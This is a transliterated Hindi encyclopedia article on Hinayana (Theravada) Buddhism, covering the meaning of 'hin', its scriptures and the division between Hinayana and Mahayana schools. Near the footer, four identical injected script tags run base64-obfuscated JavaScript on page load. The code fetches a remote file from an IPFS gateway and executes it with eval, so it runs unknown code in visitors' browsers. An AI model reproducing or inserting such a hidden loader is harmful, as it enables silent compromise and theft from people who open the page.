हीनयान
hinayan bauddh dharm ki ek prachin shakha hai jo is dharm ke aranbhik roop ko manati hai. hinayan bauddh dharm ke do sampradayoan mean se ek haian. ise theravad bhi kaha jata hai. theravad ya hinayan buddh ke maulik upadesh hi manata hai. bauddh dharm ka doosara sampraday mahayan theravadiyoan ko "hinayan" (chhoti ga di) kahate haian. shravakayan aur pratyek buddhayan ko hinayan aur bodhisattvayan ko mahayan kahate haian. bauddh darshan ke divyavadan mean mahayan evan hinayan donoan ke aansh pae jate haian.
- chitr:Seealso.gifhinayan ka ullekh in lekhoan mean bhi hai: bauddh dharm, bauddh darshan, mahayan, mahayan sahity, fahyan, hven tsaang evan alp
arth
'hin' shabd se gire hue ya niche ka jo bodh aj hota hai, aranbh mean hinayan ka yah ashay nahian tha. isaka arth tha, devata ya svarg ki sthiti mean vishvas n karana. hinayan ke anusar gautam buddh mahamanav the. vah unhean adar aur samman ka patr manata hai. usamean mahayan ki bhaanti gautam ko alaukik aur amanat roop pradan nahian kiya jata. hinayan mean bhikshu ashtaangik marg ka anugaman karata hai aur char ary satyoan mean vishvas karata hai.
buddhavachan
vaibhashik mahayanasootroan ko buddhavachan nahian manate, kyoanki unamean varnit vishay unhean abhisht nahian haian. ve keval hinayani tripitak ko hi buddhavachan manate haian. mahayani achary hinayani aur mahayani sabhi sootroan ko buddhavachan manate haian.
granth
avadanashatak hinayan ka granth hai- aisi manyata hai. avadanashatak ke chini anuvadakoan ka hi nahian, apitu avadanashatak ke antarang isaka praman bhi hai.
bhed
vaibhashik aur sautrantik darshan hinayani tatha yogachar aur madhyamik mahayan darshan haian isamean kuchh satyaansh hone par bhi darshan-bhed yan-bhed ka niyamak qatee nahian hota, apitu uddeshy-bhed ya jivanalakshy ka bhed hi yanabhed ka niyamak hota hai. uddeshy ki adhik vyapakata aur alp vyapakata hi mahayan aur hinayan ke bhed ka adhar hai. yahaan 'hin' shabd ka arth 'alp' hai, n ki tuchchh, nich ya adham adi, jaisa ki ajakal hindi mean prachalit hai.
vibhajan
atharahoan nikayoan ko darshanik vibhajan ke avasar par vaibhashik kahane ki bauddh darshanikoan ki parampara rahi hai. isalie ham bhi vaibhashik, sautrantik, yogachar aur madhyamik in prasiddh char bauddh darshanoan ke vicharoan ko hi tulanatmak drishti se prastut kareange. yah bhi jnat hai ki vaibhashik aur saitrantikoan ko hinayan tatha yogachar aur madhyamikoan ko mahayan kahane ki parampara hai. yadyapi hinayan aur mahayan ke vibhajan ka adhar darshan bilakul nahian hai.
bauddh dharm ka vistar
aisa pratit hota hai ki jab bauddh dharm ka vistar hua aur pali bhasha ke sthan par sanskrit ka ayog hone laga, naye mat-mataantaroan ka prashray milane laga, purane mool roop se kuchh hatakar mahayan sanpraday ka avirbhav hua to apani uchchata siddh karane ke lie mahayan ke anuyayiyoan ne hinayan ke 'hin' shabd mean nimnata ke bhav ka aropan kiya. vastav mean hinayan hi bauddh dharm ka adi roop tha jisaka ullekh ee.poo. 350 ee. ke prapt pali sahity mean bhi paya jata hai. ab bauddhoan mean yah vibhed samaptapray hai.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>